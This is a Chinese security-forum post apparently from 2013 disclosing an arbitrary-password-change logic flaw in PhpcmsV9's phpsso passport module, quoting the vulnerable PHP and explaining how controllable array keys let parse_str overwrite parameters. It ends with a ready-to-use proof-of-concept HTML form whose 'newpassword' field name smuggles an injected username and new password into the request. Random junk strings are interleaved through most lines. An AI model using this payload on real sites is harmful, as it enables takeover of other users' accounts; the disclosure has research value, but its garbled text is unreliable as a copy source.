找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2042|回复: 0
打印 上一主题 下一主题

PhpcmsV9 任意用户密码修改逻辑漏洞 2013年贺岁第三发

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-23 14:46:35 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
提到的通行证的代码:$ u4 }& I2 x, ?" r
4 ~" n% ?6 h9 X& K+ Y7 K1 i1 E& X- O4 L

' q! J# y! V; t# lparse_str(sys_auth($_POST['data'], 'DECODE', $this->applist[$this->appid]['authkey']), $this->data);
2 R& s! x8 ^8 ^/ K0 w8 T$ x* J4 b
在phpsso_server/phpcms/modules/phpsso/classes/phpsso.class.php中。/ w" S3 ~/ A3 ?' ~  N; X3 L
- J) t/ p- b2 a  J/ u0 C2 H1 O! {$ [
我把它留给了你们。
4 z' R  \/ K1 d不知道你们发现了它没有。
2 q5 n7 E3 Q5 C% j9 I
" T5 O0 w: d- _3 N! _' V; \2 k7 G我们知道parse_str类似将http请求转换成php变量的函数,所以,也像http请求在php的环境下一样,如果提交?a=sss&a=aaa,那么a的结果会是aaa,不是sss。
, @7 G/ w9 ?- K& O. u
* ~. G0 q5 m( y! B3 R1 j所以我们知道这个函数有一个问题了,如果后面提交一个内容,它会覆盖前面的。5 i2 E# L6 G+ R2 N! g7 Z# q+ m, f

/ z* A/ Q' {7 `& Q/ I5 K: s也就是
# \! M' C1 g. J4 P8 S( d, V0 g- q, x! \* r+ x' L
username=zhangsan&username=lisi的话,那么用户名就不是zhangsan了。3 e0 W& W1 f- H, X3 M
, Z3 I7 b0 C. e1 |3 ?8 R
要构造这样的请求,我们还是要回到通行证的client看看,我们有没有这样的机会。- S/ u' V3 H" \% W
" B- k) t3 o6 @: b5 A

% e% ]1 i( [, V- V. H. Z3 ^, k5 v其实我们有这样的机会,看看代码,如下:
9 R! y! Y( P! v1 K$ W1 n2 b/ B( I+ h

+ [' [1 ~" w8 g; q; ]: r/ L$ qpublic function auth_data($data) {+ i; `1 r5 I3 U" B7 H
                $s = $sep = '';7 \: h, r  P1 X+ _  m/ K
                foreach($data as $k => $v) {) l* C) q  e8 c) G6 S4 n2 Y! q: t
                        if(is_array($v)) {0 y% i/ B2 [; @  B6 q! D6 @2 p! _1 P. q
                                $s2 = $sep2 = '';7 \1 r3 [+ G, p1 _( U+ R3 z6 D; F
                                foreach($v as $k2 => $v2) {
$ l/ r; r$ y: @. ]& r3 A" f: i# [                                                $s2 .= "$sep2{$k}[$k2]=".$this->_ps_stripslashes($v2);
7 x$ L7 k$ s' [3 E& f6 n4 s3 N                                        $sep2 = '&';
/ ~4 ^7 P; V2 |                                }
! G, O& Z9 D+ T: a! y                                $s .= $sep.$s2;" z. o/ T( U+ J" ~
                        } else {: N' W2 N2 b* |1 x/ U
                                $s .= "$sep$k=".$this->_ps_stripslashes($v);, M# @2 v3 p/ }: C$ ?
                        }
# V& [; D. E' {6 p0 K  [, m1 I7 j                        $sep = '&';+ Y. f4 R+ E0 E3 U& N9 Y
                }
0 h8 d( ]6 h& y% s. o! K8 W: h  y! y. w& z. X& }/ f
                $auth_s = 'v='.$this->ps_vsersion.'&appid='.APPID.'&data='.urlencode($this->sys_auth($s));
" _, n$ u, p* P5 Q; r+ g* h* `                return $auth_s;# M$ ^( X7 `. X. b* W
        }& W% [+ E7 ~) M1 _0 y
+ M+ B9 ?& }7 N/ R% Z6 B6 O
可能我没说明白,对,传递进来的数组的key是可控的。如果我的key里包含[]&这样三个字符的话,那么我就能重写这样的东西。6 r& S4 ]2 ^$ k& b8 r
' g: G  T3 z5 g/ G
举个例子
9 z0 Q9 K; n  m% i" @" O5 L+ d- ~) l7 K. Z8 |  ?/ L
$a[aaa=a&bbb] = 'a';0 J- u8 K/ v, V* u9 J0 l
/ u) {& {- w! Q' P0 ~: H' V6 Y
会变成aaa=a&bbb=a
/ G8 D$ g  s1 s' F0 B; t6 ~2 V1 H
% t6 e3 T; {) _6 R$ u7 J明白了么,对,就是通过没有注意到的key,我们可以构造出多余的参数来。1 G8 o0 F/ `1 B* ^

' |) ?) u. K  }这个时候,我们可以再去看一个函数。
4 W$ g9 R( b& y! |; J( y+ W- |4 ?
就在这个文件内:/ V9 p% ^. u* ]" @( @
1 d0 v7 S% p6 a0 ^( \' s3 z

, |! w! H# z4 K/ C' ?1 rpublic function ps_member_edit($username, $email, $password='', $newpassword='', $uid='', $random='') {9 P, q& o: E8 P" @3 B) a* M7 Y
                if($email && !$this->_is_email($email)) {
2 w' e- o5 z, H                        return -4;4 ^4 g7 @; P* {
                }2 \& L  s" z  n8 {: \% I% a' h7 Y
                return $this->_ps_send('edit', array('username'=>$username, 'password'=>$password, 'newpassword'=>$newpassword, 'email'=>$email, 'uid'=>$uid, 'random'=>$random));" M7 i" g. \" I( l' W* w
        }+ B' W) |6 a- ?: N4 T: d

+ ^$ I6 f/ V9 I+ m! @这是向通行证发了这样一个请求。0 V7 i  C8 m$ R3 g/ l

3 d3 l" m; b/ {我们再跟到通信证代码里去看看,就会有所发现。% ^; b! p: i: `

! M& n, u' L) W% V# c. D( u4 C5 H* ~  u
public function edit() {: C3 D" v7 c5 R- T* J
//能省就省,太长了不是吗?
& ]4 Z1 U* ~# i/ U" A" {2 e  c
2 a9 X2 @0 O% {' z6 J3 O3 w4 vif($this->username) {
% K3 H7 k( J: g  Y) [2 W* p//如果提交了用户名,则按照用户名修改记录,反之,按照uid来修改记录。
. O8 p, k* J/ _- d6 D- L                                $res = $this->db->update($data, array('username'=>$this->username));
0 t7 |) _( @9 w                        } else {& G2 V& M9 w6 e" b
                                file_put_contents('typeb.txt',print_r($data,1).$this->uid);  r# l; D2 a  @. M# z2 p
                                $res = $this->db->update($data, array('uid'=>$this->uid));/ R1 }. \8 W' u; {' P- S6 h4 Q/ ^3 V
                        }$ h. k' |7 ]( S" C$ `$ U  B. m
, d4 A; F% ?1 t4 a- p
好,我们知道了,如果提交了用户名,就会按照用户名来修改记录,不然就按照uid,我们看看函数结构:9 k! a/ P/ d; R+ O8 f

) p2 A0 q0 d" R5 _; hpublic function ps_member_edit($username, $email, $password='', $newpassword='', $uid='', $random='')
5 c: H+ R, N1 j7 V
, ~( i; Y2 p3 _! O1 {! g% u7 ?很好,uid要是无法控制的话,后面只剩下一个random了,但是username就在第一个,只要email,password,newpassword,有任何一个可以控制,就可以修改密码了。! \- N0 }2 m6 C, ?& i

: c1 t2 U$ u: P/ a我当然找到了:  |, `+ A/ H  x3 n2 n/ Z
phpcms9/phpcms/modules/member/index.php# a) f' H5 q5 y( y' h
( E& e* V4 S1 y' d% d. p  e6 e% v
$res = $this->client->ps_member_edit('', $email, $_POST['info']['password'], $_POST['info']['newpassword'], $this->memberinfo['phpssouid'], $this->memberinfo['encrypt']);
( x" G5 [% K6 {# Q+ @9 X3 ]
7 D% _$ m0 y. V, k8 j8 M然后就没有然后了。3 M* a  ^% W: p0 N

8 T- T7 G2 u& D  G<form method="post" action="http://localhost/phpcms9/index.php?m=member&c=index&a=account_manage_password&t=1" id="myform" name="myform">
' Z. R- y( i- ^. M  U3 Y  w( B                                <table width="100%" cellspacing="0" class="table_form">
1 `+ P) I7 T* v- [7 N7 }                                        <tr>" K+ Z; H3 N# J* L# _; x4 b
                                                <th width="80">邮箱:</th>        % c' P" i! b" N3 c+ B3 T0 F
                                                <td><input name="info[email]" type="text" id="email" size="30" value="jj@jj.com" class="input-text"></td>: L' u6 J. Z* ?; X0 D  @8 @: P
                                        </tr>" A: x4 J5 Q& U. b8 H. T
                                        <tr>2 I4 ^+ U7 \; E! `
                                                <th width="80">原密码:</th>        : c" }: v' H, V2 s
                                                <td><input name="info[password]" type="password" id="password" size="30" value="111111" class="input-text"></td>
. Q$ d1 \  Q9 b: [                                        </tr>5 i9 ?' D) }! `0 u$ _. g5 y
                                        <tr>
9 |. L5 e( o6 E" K* r                                                <th>新密码:</th>; q! U" l+ P$ _& S9 Q  m1 o
                                                <td><input name="info[newpassword][%5D=aaa%5D%5B&username=cc&newpassword=aaaaaa&]" type="password" id="newpassword" size="30" value="" class="input-text"></td>
0 [% b$ E* g6 j" p* n# I8 |! o                                        </tr>6 }4 Q8 S; u5 H7 k4 b7 N( {
                                        <th></th>
" \; n; E! `( f5 P                                        <td><input name="dosubmit" type="submit" id="dosubmit" value="提交" class="button"></td>8 v/ u* H% o7 F( F7 f3 T
                                        </tr>
6 }4 X  {% F& v                                </table>
3 @2 g  J& w2 S
2 y/ X/ x: J2 V                                : u0 s0 y8 J  M  b  y. ^
                        </form>
) W% F  O" v1 S
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表